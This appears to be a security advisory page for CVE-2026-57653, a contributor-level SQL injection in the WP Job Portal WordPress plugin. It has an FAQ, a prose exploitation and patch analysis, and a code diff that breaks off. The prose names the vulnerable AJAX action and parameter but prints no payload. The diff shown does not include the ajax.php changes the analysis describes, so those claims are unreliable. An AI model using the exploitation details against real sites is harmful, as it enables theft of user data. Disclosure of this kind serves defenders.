What is CVE-2026-57653?

CVE-2026-57653 is a SQL Injection vulnerability in the WP Job Portal plugin for WordPress, affecting versions up to and including 2.5.2. It allows authenticated attackers with contributor-level access or higher to execute arbitrary SQL queries by injecting malicious input into a vulnerable parameter.

How does the SQL injection work?

The vulnerability exists in the plugin’s AJAX handler, where user-supplied parameters are directly concatenated into SQL queries without proper escaping or prepared statements. An attacker sends a crafted POST request to the WordPress AJAX endpoint with a malicious payload in a parameter like ‘friend_email’, which is then embedded into an SQL query, allowing data extraction.

Who is affected by this vulnerability?

Any WordPress site running WP Job Portal version 2.5.2 or earlier is affected. The vulnerability requires authentication with at least contributor-level privileges, so sites with multiple authors or user registration enabled are at higher risk.

How can I check if my site is vulnerable?

Check the installed version of WP Job Portal in the WordPress admin dashboard under Plugins. If the version is 2.5.2 or lower, the site is vulnerable. Additionally, you can review the plugin’s changelog or compare the file ‘includes/ajax.php’ for the presence of vulnerable AJAX actions like ‘sendmailtofriendJobManager’.

What is the CVSS score and what does it mean?

The CVSS score is 6.5, which is classified as Medium severity. This means the vulnerability has a moderate impact on confidentiality, as it allows data extraction, but requires authentication and user interaction, limiting the attack surface.

What data can an attacker extract?

An attacker can extract sensitive information from the WordPress database, including usernames, password hashes, user email addresses, and any other data stored in custom plugin tables. This could lead to further compromise of user accounts or the site.

How do I fix this vulnerability?

Update the WP Job Portal plugin to version 2.5.3 or later, which contains the patch. The patch removes or refactors the vulnerable AJAX handler functions and uses proper parameterized queries. If immediate update is not possible, consider disabling the plugin temporarily or restricting contributor-level access.

What does the patch change?

The patch removes several AJAX action entries from the allowed list in ‘includes/ajax.php’, including ‘sendmailtofriendJobManager’ and ‘getTellaFriendJobManager’, which contained the vulnerable SQL queries. It also modifies the ‘wpjobportalupdater.php’ file by removing the ‘jsCheckVersionUpdate()’ method.

How does the proof of concept (PoC) work?

The PoC script authenticates as a contributor-level user and sends a crafted POST request to the WordPress AJAX endpoint with the action set to ‘sendmailtofriendJobManager’ and a malicious SQL payload in the ‘friend_email’ parameter. This demonstrates how an attacker can exploit the vulnerability to extract data.

Can this vulnerability be exploited without authentication?

No, the vulnerability requires authentication with at least contributor-level privileges. Unauthenticated users cannot directly exploit it. However, on sites with open registration or compromised contributor accounts, the risk increases.

What should I do if I suspect my site has been compromised?

Immediately update the plugin to version 2.5.3, change all user passwords, especially for contributor and higher roles, and review database logs for unauthorized queries. Consider using a security plugin to monitor for SQL injection attempts and audit user activity.

Are there any temporary mitigations if I cannot update?

If updating is not possible, you can disable the WP Job Portal plugin until a patch is applied. Alternatively, restrict contributor-level access to trusted users only and consider using a web application firewall (WAF) to block SQL injection patterns.

Published : July 4, 2026

CVE-2026-57653: WP Job Portal – AI-Powered Recruitment System for Company or Job Board website <= 2.5.2 Authenticated (Contributor+) SQL Injection PoC, Patch Analysis & Rule

CVE ID CVE-2026-57653

Plugin wp-job-portal

Severity Medium (CVSS 6.5)

CWE 89

Vulnerable Version 2.5.2

Patched Version 2.5.3

Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57653:
This vulnerability is an authenticated SQL Injection in the WP Job Portal plugin for WordPress, affecting versions up to and including 2.5.2. It allows attackers with contributor-level access or higher to execute arbitrary SQL queries by injecting malicious input into a vulnerable parameter. The CVSS score is 6.5 (Medium severity).

Root Cause:
The vulnerability stems from insufficient escaping on a user-supplied parameter and lack of preparation in an existing SQL query within the plugin’s AJAX handler. The code diff shows extensive modifications to `includes/ajax.php`, specifically within the `ajaxhandler()` function. The vulnerable code path handles requests dispatched to actions like `’sendmailtofriendJobManager’`, `’setJobApplyRating’`, `’getEmailFieldsJobManager’`, `’getTellaFriendJobManager’`, and `’getNextJobs’` among others. These functions were removed or modified in the patch. The root issue is that the plugin directly concatenated user input into SQL queries without using prepared statements or proper escaping, allowing an attacker to break out of the intended query structure.

Exploitation:
An authenticated attacker with at least contributor privileges can exploit this by sending a crafted POST request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`). The attacker sets the `action` parameter to one of the vulnerable AJAX actions (e.g., `sendmailtofriendJobManager`). The malicious SQL payload is delivered via a parameter like `friend_email` or another unsanitized field, which gets directly embedded into an SQL query. The attacker can then use UNION-based or time-based blind SQL injection techniques to extract sensitive data from the WordPress database.

Patch Analysis:
The patch, visible in the code diff, removes or significantly refactors the vulnerable AJAX handler functions. Specifically, the diff shows the removal of several AJAX action entries from the allowed list in `ajaxhandler()`, including `’getTellaFriendJobManager’`, `’setJobApplyRating’`, `’sendmailtofriendJobManager’`, `’getNextJobs’`, and `’getNextTemplateJobs’`. These functions contained the vulnerable SQL queries. Additionally, the patch modifies the `wpjobportalupdater.php` file by removing the `jsCheckVersionUpdate()` method entirely. The patch fixes the SQL injection by either removing the vulnerable code paths or rewriting them with proper parameterized queries and input validation.

Impact:
Successful exploitation allows an attacker to extract arbitrary data from the WordPress database, including usernames, password hashes, user email addresses, and potentially other sensitive information stored in custom plugin tables. An attacker could also use this to bypass authentication or inject malicious code under specific conditions. The attack requires authentication with contributor-level privileges, limiting the pool of potential attackers but still representing a significant risk for multi-author WordPress sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/wp-job-portal/includes/activation.php
+++ b/wp-job-portal/includes/activation.php
@@ -468,7 +468,7 @@
               ('searchjobtag', '4', 'job', 'tag'),
               ('categories_colsperrow', '3', 'category', NULL),
               ('productcode', 'wpjobportal', 'default', NULL),
-              ('versioncode', '2.5.2', 'default', NULL),
+              ('versioncode', '2.5.3', 'default', NULL),
               ('producttype', 'free', 'default', NULL),
               ('vis_jscredits', '0', 'jscontrolpanel', 'credits'),
               ('vis_emcredits', '1', 'emcontrolpanel', NULL),
@@ -991,8 +991,8 @@
           wpjobportal::$_db->query($query);


-          $query = "INSERT INTO `" . wpjobportal::$_db->prefix . "wj_portal_emailtemplates` (`id`, `uid`, `templatefor`, `title`, `subject`, `body`, `status`, `created`) VALUES(11, 0, 'jobseeker-package-expire', NULL, 'WP Job Portal : {PACKAGE_NAME} has been expired', '<div style="background-color: #f7f7f7; margin: 0; padding: 70px 0; width: 100%;">n<div style="border: 3px dotted #ebecec; width: 600px; display: block; margin: 0 auto; background: #fff;">n<div style="padding: 15px 20px; background: #3e4095; color: #fff; font-size: 16px; font-weight: bold; text-transform: uppercase; border-bottom: 1px solid #4b4b4d;">Wp Job Portal</div>n<div style="padding: 30px; text-align: center; font-weight: bold; background: #576cf1; color: #fff; text-transform: capitalize; font-size: 22px;">{SITETITLE}: Jobseeker Package Expiry</div>n<div style="padding: 40px 20px 20px;">n<div style="padding-bottom: 20px; border-bottom: 1px solid #ebecec;">n<div style="font-weight: bold; font-size: 18px; margin-bottom: 15px; color: #4b4b4d;">Dear {JOBSEEKER_NAME},</div>n<div style="color: #727376; line-height: 2;">Your (<strong style="color: #4b4b4d;">{PACKAGE_NAME}</strong>) has been expired.</div>n<div style="color: #727376; line-height: 2;">You had purchased this package at (<strong style="color: #4b4b4d;">{PACKAGE_PURCHASE_DATE}</strong>).</div>n</div>n<div style="padding: 20px 0;">n</div>n<div style="padding: 0 0 30px; text-align: center;"><a style="display: inline-block; padding: 15px; background: #576cf1; width: 40%; text-align: center; text-decoration: none; color: #ffff; text-transform: capitalize; border-bottom: 3px solid #4b4b4d;" href="{PACKAGE_LINK}">View Package</a></div>n<div style="background: #fef2ef; padding: 15px; margin-bottom: 20px; border: 1px solid #eba7a8;">n<div style="font-weight: bold; font-size: 14px; margin-bottom: 5px; color: #983133; text-transform: uppercase;">Do not reply TO this E-Mail</div>n<div style="color: #727376; line-height: 2;">This is an automated e-mail message sent from our support system.<br />nDo not reply to this e-mail as we cannot receive your reply!</div>n</div>n<div style="color: #727376; line-height: 2;">This email was sent from <span style="color: #3e4095; display: inline-block; text-decoration: underline;"> Wp Job Portal System </span> to <span style="color: #606062; display: inline-block; text-decoration: underline;">{EMAIL}</span></div>n</div>n<div style="background: #4b4b4d; padding: 20px; color: #fff; text-align: center; border-bottom: 5px solid #576cf1;">© {CURRENT_YEAR} All rights reserved – Wp Job Portal WordPress Plugin</div>n</div>n</div>n', NULL, '2009-08-18 16:46:16'),
-          (12, 0, 'jobseeker-purchase-credit-pack', NULL, 'WP Job Portal : You purchased new package {PACKAGE_NAME}', '<div style="background-color: #f7f7f7; margin: 0; padding: 70px 0; width: 100%;">n<div style="border: 3px dotted #ebecec; width: 600px; display: block; margin: 0 auto; background: #fff;">n<div style="padding: 15px 20px; background: #3e4095; color: #fff; font-size: 16px; font-weight: bold; text-transform: uppercase; border-bottom: 1px solid #4b4b4d;">Wp Job Portal</div>n<div style="padding: 30px; text-align: center; font-weight: bold; background: #576cf1; color: #fff; text-transform: capitalize; font-size: 22px;">{SITETITLE}: Jobseeker Purchase Credits Pack</div>n<div style="padding: 40px 20px 20px;">n<div style="padding-bottom: 20px; border-bottom: 1px solid #ebecec;">n<div style="font-weight: bold; font-size: 18px; margin-bottom: 15px; color: #4b4b4d;">Dear {JOBSEEKER_NAME},</div>n<div style="color: #727376; line-height: 2;">You have purchased new package (<strong style="color: #4b4b4d;">{PACKAGE_NAME}</strong>).</div>n<div style="color: #727376; line-height: 2;">(<strong style="color: #4b4b4d;">{PACKAGE_PRICE}</strong>) credits consumed for this package.</div>n<div style="color: #727376; line-height: 2;">Package purchased date (<strong style="color: #4b4b4d;">{PACKAGE_PURCHASE_DATE}</strong>).</div>n</div>n<div style="padding: 20px 0;">n</div>n<div style="padding: 0 0 30px; text-align: center;"><a style="display: inline-block; padding: 15px; background: #576cf1; width: 40%; text-align: center; text-decoration: none; color: #ffff; text-transform: capitalize; border-bottom: 3px solid #4b4b4d;" href="{PACKAGE_LINK}">View Package</a></div>n<div style="background: #fef2ef; padding: 15px; margin-bottom: 20px; border: 1px solid #eba7a8;">n<div style="font-weight: bold; font-size: 14px; margin-bottom: 5px; color: #983133; text-transform: uppercase;">Do not reply TO this E-Mail</div>n<div style="color: #727376; line-height: 2;">This is an automated e-mail message sent from our support system.<br />nDo not reply to this e-mail as we cannot receive your reply!</div>n</div>n<div style="color: #727376; line-height: 2;">This email was sent from <span style="color: #3e4095; display: inline-block; text-decoration: underline;"> Wp Job Portal System </span> to <span style="color: #606062; display: inline-block; text-decoration: underline;">{EMAIL}</span></div>n</div>n<div style="background: #4b4b4d; padding: 20px; color: #fff; text-align: center; border-bottom: 5px solid #576cf1;">© {CURRENT_YEAR} All rights reserved – Wp Job Portal WordPress Plugin</div>n</div>n</div>n', NULL, '2009-08-18 16:46:16'),
+          $query = "INSERT INTO `" . wpjobportal::$_db->prefix . "wj_portal_emailtemplates` (`id`, `uid`, `templatefor`, `title`, `subject`, `body`, `status`, `created`) VALUES(11, 0, 'jobseeker-package-expire', NULL, 'WP Job Portal : {PACKAGE_NAME} has been expired', '<div style="background-color: #f7f7f7; margin: 0; padding: 70px 0; width: 100%;">n<div style="border: 3px dotted #ebecec; width: 600px; display: block; margin: 0 auto; background: #fff;">n<div style="padding: 15px 20px; background: #3e4095; color: #fff; font-size: 16px; font-weight: bold; text-transform: uppercase; border-bottom: 1px solid #4b4b4d;">Wp Job Portal</div>n<div style="padding: 30px; text-align: center; font-weight: bold; background: #576cf1; color: #fff; text-transform: capitalize; font-size: 22px;">{SITETITLE}: Job seeker Package Expiry</div>n<div style="padding: 40px 20px 20px;">n<div style="padding-bottom: 20px; border-bottom: 1px solid #ebecec;">n<div style="font-weight: bold; font-size: 18px; margin-bottom: 15px; color: #4b4b4d;">Dear {JOBSEEKER_NAME},</div>n<div style="color: #727376; line-height: 2;">Your (<strong style="color: #4b4b4d;">{PACKAGE_NAME}</strong>) has been expired.</div>n<div style="color: #727376; line-height: 2;">You had purchased this package at (<strong style="color: #4b4b4d;">{PACKAGE_PURCHASE_DATE}</strong>).</div>n</div>n<div style="padding: 20px 0;">n</div>n<div style="padding: 0 0 30px; text-align: center;"><a style="display: inline-block; padding: 15px; background: #576cf1; width: 40%; text-align: center; text-decoration: none; color: #ffff; text-transform: capitalize; border-bottom: 3px solid #4b4b4d;" href="{PACKAGE_LINK}">View Package</a></div>n<div style="background: #fef2ef; padding: 15px; margin-bottom: 20px; border: 1px solid #eba7a8;">n<div style="font-weight: bold; font-size: 14px; margin-bottom: 5px; color: #983133; text-transform: uppercase;">Do not reply TO this E-Mail</div>n<div style="color: #727376; line-height: 2;">This is an automated e-mail message sent from our support system.<br />nDo not reply to this e-mail as we cannot receive your reply!</div>n</div>n<div style="color: #727376; line-height: 2;">This email was sent from <span style="color: #3e4095; display: inline-block; text-decoration: underline;"> Wp Job Portal System </span> to <span style="color: #606062; display: inline-block; text-decoration: underline;">{EMAIL}</span></div>n</div>n<div style="background: #4b4b4d; padding: 20px; color: #fff; text-align: center; border-bottom: 5px solid #576cf1;">© {CURRENT_YEAR} All rights reserved – Wp Job Portal WordPress Plugin</div>n</div>n</div>n', NULL, '2009-08-18 16:46:16'),
+          (12, 0, 'jobseeker-purchase-credit-pack', NULL, 'WP Job Portal : You purchased new package {PACKAGE_NAME}', '<div style="background-color: #f7f7f7; margin: 0; padding: 70px 0; width: 100%;">n<div style="border: 3px dotted #ebecec; width: 600px; display: block; margin: 0 auto; background: #fff;">n<div style="padding: 15px 20px; background: #3e4095; color: #fff; font-size: 16px; font-weight: bold; text-transform: uppercase; border-bottom: 1px solid #4b4b4d;">Wp Job Portal</div>n<div style="padding: 30px; text-align: center; font-weight: bold; background: #576cf1; color: #fff; text-transform: capitalize; font-size: 22px;">{SITETITLE}: Job seeker Purchase Credits Pack</div>n<div style="padding: 40px 20px 20px;">n<div style="padding-bottom: 20px; border-bottom: 1px solid #ebecec;">n<div style="font-weight: bold; font-size: 18px; margin-bottom: 15px; color: #4b4b4d;">Dear {JOBSEEKER_NAME},</div>n<div style="color: #727376; line-height: 2;">You have purchased new package (<strong style="color: #4b4b4d;">{PACKAGE_NAME}</strong>).</div>n<div style="color: #727376; line-height: 2;">(<strong style="color: #4b4b4d;">{PACKAGE_PRICE}</strong>) credits consumed for this package.</div>n<div style="color: #727376; line-height: 2;">Package purchased date (<strong style="color: #4b4b4d;">{PACKAGE_PURCHASE_DATE}</strong>).</div>n</div>n<div style="padding: 20px 0;">n</div>n<div style="padding: 0 0 30px; text-align: center;"><a style="display: inline-block; padding: 15px; background: #576cf1; width: 40%; text-align: center; text-decoration: none; color: #ffff; text-transform: capitalize; border-bottom: 3px solid #4b4b4d;" href="{PACKAGE_LINK}">View Package</a></div>n<div style="background: #fef2ef; padding: 15px; margin-bottom: 20px; border: 1px solid #eba7a8;">n<div style="font-weight: bold; font-size: 14px; margin-bottom: 5px; color: #983133; text-transform: uppercase;">Do not reply TO this E-Mail</div>n<div style="color: #727376; line-height: 2;">This is an automated e-mail message sent from our support system.<br />nDo not reply to this e-mail as we cannot receive your reply!</div>n</div>n<div style="color: #727376; line-height: 2;">This email was sent from <span style="color: #3e4095; display: inline-block; text-decoration: underline;"> Wp Job Portal System </span> to <span style="color: #606062; display: inline-block; text-decoration: underline;">{EMAIL}</span></div>n</div>n<div style="background: #4b4b4d; padding: 20px; color: #fff; text-align: center; border-bottom: 5px solid #576cf1;">© {CURRENT_YEAR} All rights reserved – Wp Job Portal WordPress Plugin</div>n</div>n</div>n', NULL, '2009-08-18 16:46:16'),
           (13, NULL, 'employer-package-expire', NULL, 'WP Job Portal : {PACKAGE_NAME} has been expired', '<div style="background-color: #f7f7f7; margin: 0; padding: 70px 0; width: 100%;">n<div style="border: 3px dotted #ebecec; width: 600px; display: block; margin: 0 auto; background: #fff;">n<div style="padding: 15px 20px; background: #3e4095; color: #fff; font-size: 16px; font-weight: bold; text-transform: uppercase; border-bottom: 1px solid #4b4b4d;">Wp Job Portal</div>n<div style="padding: 30px; text-align: center; font-weight: bold; background: #576cf1; color: #fff; text-transform: capitalize; font-size: 22px;">{SITETITLE}: Employer Package Expiry</div>n<div style="padding: 40px 20px 20px;">n<div style="padding-bottom: 20px; border-bottom: 1px solid #ebecec;">n<div style="font-weight: bold; font-size: 18px; margin-bottom: 15px; color: #4b4b4d;">Dear {EMPLOYER_NAME},</div>n<div style="color: #727376; line-height: 2;">Your (<strong style="color: #4b4b4d;">{PACKAGE_NAME}</strong>) has been expired.</div>n<div style="color: #727376; line-height: 2;">You had purchased this package at (<strong style="color: #4b4b4d;">{PACKAGE_PURCHASE_DATE}</strong>).</div>n</div>n<div style="padding: 20px 0;">n</div>n<div style="padding: 0 0 30px; text-align: center;"><a style="display: inline-block; padding: 15px; background: #576cf1; width: 40%; text-align: center; text-decoration: none; color: #ffff; text-transform: capitalize; border-bottom: 3px solid #4b4b4d;" href="{PACKAGE_LINK}">View Package</a></div>n<div style="background: #fef2ef; padding: 15px; margin-bottom: 20px; border: 1px solid #eba7a8;">n<div style="font-weight: bold; font-size: 14px; margin-bottom: 5px; color: #983133; text-transform: uppercase;">Do not reply TO this E-Mail</div>n<div style="color: #727376; line-height: 2;">This is an automated e-mail message sent from our support system.<br />nDo not reply to this e-mail as we cannot receive your reply!</div>n</div>n<div style="color: #727376; line-height: 2;">This email was sent from <span style="color: #3e4095; display: inline-block; text-decoration: underline;"> Wp Job Portal System </span> to <span style="color: #606062; display: inline-block; text-decoration: underline;">{EMAIL}</span></div>n</div>n<div style="background: #4b4b4d; padding: 20px; color: #fff; text-align: center; border-bottom: 5px solid #576cf1;">© {CURRENT_YEAR} All rights reserved – Wp Job Portal WordPress Plugin</div>n</div>n</div>n', NULL, '0000-00-00 00:00:00'),
           (14, NULL, 'jobapply-employer', '', 'WP Job Portal : Job seeker have applied for {JOB_TITLE} job ', '<div style="background-color: #f7f7f7; margin: 0; padding: 70px 0; width: 100%;">n<div style="border: 3px dotted #ebecec; width: 600px; display: block; margin: 0 auto; background: #fff;">n<div style="padding: 15px 20px; background: #3e4095; color: #fff; font-size: 16px; font-weight: bold; text-transform: uppercase; border-bottom: 1px solid #4b4b4d;">Wp Job Portal</div>n<div style="padding: 30px; text-align: center; font-weight: bold; background: #576cf1; color: #fff; text-transform: capitalize; font-size: 22px;">{SITETITLE}: Job Apply Employer</div>n<div style="padding: 40px 20px 20px;">n<div style="padding-bottom: 20px; border-bottom: 1px solid #ebecec;">n<div style="font-weight: bold; font-size: 18px; margin-bottom: 15px; color: #4b4b4d;">Dear {EMPLOYER_NAME},</div>n<div style="color: #727376; line-height: 2;">Mr/Mrs (<strong style="color: #4b4b4d;">{JOBSEEKER_NAME}</strong>) applied for your job (<strong style="color: #4b4b4d;">{JOB_TITLE}</strong>).</div>n<div style="color: #727376; line-height: 2;">Current Applied Resume status is (<strong style="color: #4b4b4d;">{RESUME_APPLIED_STATUS}</strong>).</div>n<div style="color: #727376; line-height: 2;">(<strong style="color: #4b4b4d;">{COVER_LETTER_DESCRIPTION}</strong>).</div>n<div style="color: #727376; line-height: 2;">(<strong style="color: #4b4b4d;">{RESUME_DATA}</strong>).</div>n</div>n<div style="padding: 20px 0;">n</div>n<div style="padding: 0 0 30px; text-align: center;"><a style="display: inline-block; padding: 15px; background: #576cf1; width: 40%; text-align: center; text-decoration: none; color: #ffff; text-transform: capitalize; border-bottom: 3px solid #4b4b4d;" href="{RESUME_LINK}">View Resume</a></div>n<div style="background: #fef2ef; padding: 15px; margin-bottom: 20px; border: 1px solid #eba7a8;">n<div style="font-weight: bold; font-size: 14px; margin-bottom: 5px; color: #983133; text-transform: uppercase;">Do not reply TO this E-Mail</div>n<div style="color: #727376; line-height: 2;">This is an automated e-mail message sent from our support system.<br />nDo not reply to this e-mail as we cannot receive your reply!</div>n</div>n<div style="color: #727376; line-height: 2;">This email was sent from <span style="color: #3e4095; display: inline-block; text-decoration: underline;"> Wp Job Portal System </span> to <span style="color: #606062; display: inline-block; text-decoration: underline;">{EMAIL}</span></div>n</div>n<div style="background: #4b4b4d; padding: 20px; color: #fff; text-align: center; border-bottom: 5px solid #576cf1;">© {CURRENT_YEAR} All rights reserved – Wp Job Portal WordPress Plugin</div>n</div>n</div>n', NULL, '0000-00-00 00:00:00');";
           wpjobportal::$_db->query($query);
@@ -1151,7 +1151,7 @@
             (20, 'workplace_type', 'Workplace Type', 8, '', 0, NULL, 'Specify if the job is On-site, Hybrid, or Remote', 2, 1, 1, 0, 0, 0, 0, '', '', 1, 1, NULL, 0, 1, 0, '', 0, 0, 0, 0, 0, '', NULL, NULL),
             (21, 'experience', 'Experience', 10, '', 0, NULL, NULL, 2, 1, 1, 0, 0, 0, 0, '', '', 0, 0, NULL, 1, 0, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
             (102, 'is_urgent', 'Is Urgent', 12, '', 0, NULL, 'Check if this job is urgently hiring', 2, 1, 1, 0, 0, 0, 0, '', '', 1, 1, NULL, 0, 1, 0, '', 0, 0, 0, 0, 0, '', NULL, NULL),
-            (22, 'noofjobs', 'No of Jobs', 13, '', 0, '', '', 2, 1, 1, 0, 0, 0, 0, '', '', 0, 0, NULL, 1, 1, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
+            (22, 'noofjobs', 'Number of Jobs', 13, '', 0, '', '', 2, 1, 1, 0, 0, 0, 0, '', '', 0, 0, NULL, 1, 1, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
             (23, 'duration', 'Duration', 9, '', 0, NULL, NULL, 2, 1, 1, 0, 0, 0, 0, '', '', 1, 1, NULL, 0, 0, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
             (24, 'careerlevel', 'Career Level', 11, '', 0, NULL, NULL, 2, 1, 1, 0, 0, 0, 0, '', '', 1, 1, NULL, 0, 0, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
             (25, 'map', 'Map', 18, '', 0, NULL, NULL, 2, 1, 1, 0, 0, 0, 0, '', '', 1, 1, NULL, 0, 0, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
@@ -1205,7 +1205,7 @@
             (79, 'section_language', 'Add Language', 100, '8', 1, NULL, NULL, 3, 1, 1, 0, 0, 0, 0, '', '', 0, 0, NULL, 1, 0, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
             (80, 'language', 'Language Name', 59, '8', 0, NULL, NULL, 3, 1, 1, 0, 0, 0, 0, '', '', 0, 0, NULL, 1, 0, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
             (81, 'institute_date_from', 'Date From', 36, '3', 0, NULL, NULL, 3, 1, 1, 0, 0, 0, 0, '', '', 0, 0, NULL, 1, 0, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
-            (82, 'institute_date_to', 'Date to', 35, '3', 0, NULL, NULL, 3, 1, 1, 0, 0, 0, 0, '', '', 0, 0, NULL, 1, 0, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
+            (82, 'institute_date_to', 'Date To', 35, '3', 0, NULL, NULL, 3, 1, 1, 0, 0, 0, 0, '', '', 0, 0, NULL, 1, 0, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
             (83, 'termsandconditions', 'Terms And Conditions', 24, '1', 0, NULL, NULL, 3, 0, 0, 0, 0, 1, 0, '', '', 0, 0, NULL, 1, 0, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
             (84, 'tagline', 'Tag Line', 13, '', 0, NULL, '', 1, 1, 1, 0, 0, 0, 0, '', '', 0, 0, NULL, 1, 0, 1, '', 0, 0, 0, 0, 0, '', NULL, NULL),
             (85, 'salaryfixed', 'Desired Salary', 13, '1', 0, '12', '1', 3, 1, 1, 0, 0, 1, 0, '', '', 1, 1, 102, 0, 1, 0, '', 0, 0, 0, 0, 0, '', NULL, NULL),
--- a/wp-job-portal/includes/addon-updater/wpjobportalupdater.php
+++ b/wp-job-portal/includes/addon-updater/wpjobportalupdater.php
@@ -81,132 +81,6 @@
 		}
 	}

-	public function jsCheckVersionUpdate( $wpjobportal_update_data ) {
-		if ( empty( $wpjobportal_update_data->checked ) ) {
-			return $wpjobportal_update_data;
-		}
-		$response_version_data = get_transient('wpjobportal_addon_update_temp_data');
-		$response_version_data_cdn = get_transient('wpjobportal_addon_update_temp_data_cdn');
-
-		if(isset($_SERVER) &&  $_SERVER['REQUEST_URI'] !=''){
-            if(wpjobportalphplib::wpJP_strstr( $_SERVER['REQUEST_URI'], 'plugins.php')) {
-				$response_version_data = get_transient('wpjobportal_addon_update_temp_data_plugins');
-				$response_version_data_cdn = get_transient('wpjobportal_addon_update_temp_data_plugins_cdn');
-			}
-        }
-        if($response_version_data_cdn === false){
-			$wpjobportal_cdnversiondata = $this->getPluginVersionDataFromCDN();
-			set_transient('wpjobportal_addon_update_temp_data_cdn', $wpjobportal_cdnversiondata, HOUR_IN_SECONDS * 6);
-			set_transient('wpjobportal_addon_update_temp_data_plugins_cdn', $wpjobportal_cdnversiondata, 15);
-		}else{
-			$wpjobportal_cdnversiondata = $response_version_data_cdn;
-		}
-		$wpjobportal_newversionfound = 0;
-		if ( $wpjobportal_cdnversiondata) {
-			if(is_object($wpjobportal_cdnversiondata) ){
-				foreach ($wpjobportal_update_data->checked AS $wpjobportal_key => $wpjobportal_value) {
-					$c_key_array = wpjobportalphplib::wpJP_explode('/', $wpjobportal_key);
-					$c_key = $c_key_array[0];
-					$c_key = wpjobportalphplib::wpJP_str_replace("-","",$c_key);
-					$wpjobportal_newversion = $this->getVersionFromLiveData($wpjobportal_cdnversiondata, $c_key);
-					if($wpjobportal_newversion){
-						if(version_compare( $wpjobportal_newversion, $wpjobportal_value, '>' )){
-							$wpjobportal_newversionfound = 1;
-						}
-					}
-				}
-			}
-		}
-		if($wpjobportal_newversionfound == 1){
-			if($response_version_data === false){
-				$response = $this->getPluginVersionData();
-				set_transient('wpjobportal_addon_update_temp_data', $response, HOUR_IN_SECONDS * 6);
-				set_transient('wpjobportal_addon_update_temp_data_plugins', $response, 15);
-			}else{
-				$response = $response_version_data;
-			}
-			if ( $response) {
-				if(is_object($response) ){
-					if(isset($response->addon_response_type) && $response->addon_response_type == 'no_key'){
-						foreach ($wpjobportal_update_data->checked AS $wpjobportal_key => $wpjobportal_value) {
-							$c_key_array = wpjobportalphplib::wpJP_explode('/', $wpjobportal_key);
-							$c_key = $c_key_array[0];
-							if(isset($response->addon_version_data->{$c_key})){
-								if(version_compare( $response->addon_version_data->{$c_key}, $wpjobportal_value, '>' )){
-									$wpjobportal_transient_val = get_transient('wpjobportal_addon_hide_update_notice');
-									if($wpjobportal_transient_val === false){
-										set_transient('wpjobportal_addon_hide_update_notice', 1, DAY_IN_SECONDS );
-									}
-									$this->addon_update_data[$wpjobportal_key] = $response->addon_version_data->{$c_key};
-								}
-							}
-						}
-					}else{// addon_response_type other than no_key
-						foreach ($wpjobportal_update_data->checked AS $wpjobportal_key => $wpjobportal_value) {
-							$c_key_array = wpjobportalphplib::wpJP_explode('/', $wpjobportal_key);
-							$c_key = $c_key_array[0];
-							if(isset($response->addon_update_data) && !empty($response->addon_update_data) && isset( $response->addon_update_data->{$c_key})){
-								if(version_compare( $response->addon_update_data->{$c_key}->new_version, $wpjobportal_value, '>' )){
-									$wpjobportal_update_data->response[ $wpjobportal_key ] = $response->addon_update_data->{$c_key};
-									$this->addon_update_data[$wpjobportal_key] = $response->addon_update_data->{$c_key};
-								}
-							}elseif(isset($response->addon_version_data->{$c_key})){
-								if(version_compare( $response->addon_version_data->{$c_key}, $wpjobportal_value, '>' )){
-									$wpjobportal_transient_val = get_transient('wpjobportal_addon_hide_update_expired_key_notice');
-									if($wpjobportal_transient_val === false){
-										set_transient('wpjobportal_addon_hide_update_expired_key_notice', 1, DAY_IN_SECONDS );
-									}
-									$this->addon_update_data_errors[$wpjobportal_key] = $response->addon_version_data->{$c_key};
-									$this->addon_update_data[$wpjobportal_key] = $response->addon_version_data->{$c_key};
-								}
-							}else{ // set latest version from cdn data
-								if ( $wpjobportal_cdnversiondata) {
-									if(is_object($wpjobportal_cdnversiondata) ){
-										$c_key_plain = wpjobportalphplib::wpJP_str_replace("-","",$c_key);
-										$wpjobportal_newversion = $this->getVersionFromLiveData($wpjobportal_cdnversiondata, $c_key_plain);
-										if($wpjobportal_newversion){
-											if(version_compare( $wpjobportal_newversion, $wpjobportal_value, '>' )){
-
-												$wpjobportal_option_name = 'transaction_key_for_'.$c_key;
-												$wpjobportal_transaction_key = wpjobportal::$_common->getTranskey($wpjobportal_option_name);
-												$wpjobportal_addon_json_array = array();
-												$wpjobportal_addon_json_array[] = wpjobportalphplib::wpJP_str_replace('wp-job-portal-', '', $c_key);
-												$wpjobportal_url = 'https://wpjobportal.com/setup/index.php?token='.$wpjobportal_transaction_key.'&productcode='. wp_json_encode($wpjobportal_addon_json_array).'&domain='. site_url();
-
-												// prepping data for seamless update of allowed addons
-												$plugin = new stdClass();
-												$plugin->id = 'w.org/plugins/wp-job-portal';
-												$wpjobportal_addon_slug = $c_key;
-												$plugin->name = $wpjobportal_addon_slug;
-												$plugin->plugin = $wpjobportal_addon_slug.'/'.$wpjobportal_addon_slug.'.php';
-												$plugin->slug = $wpjobportal_addon_slug;
-												$plugin->version = '1.0.0';
-												$wpjobportal_addonwithoutslash = wpjobportalphplib::wpJP_str_replace('-', '', $wpjobportal_addon_slug);
-												$plugin->new_version = $wpjobportal_newversion;
-												$plugin->url = 'https://www.wpjobportal.com/';
-												$plugin->download_url = $wpjobportal_url;
-												$plugin->package = $wpjobportal_url;
-												$plugin->trunk = $wpjobportal_url;
-
-												$wpjobportal_update_data->response[ $wpjobportal_key ] = $plugin;
-												$this->addon_update_data[$wpjobportal_key] = $plugin;
-											}
-										}
-
-									}
-								}
-							}
-						}
-					}
-				}
-			}
-		}// new version found
-		if(isset($wpjobportal_update_data->checked)){
-			$this->addon_installed_version_data = $wpjobportal_update_data->checked;
-		}
-		return $wpjobportal_update_data;
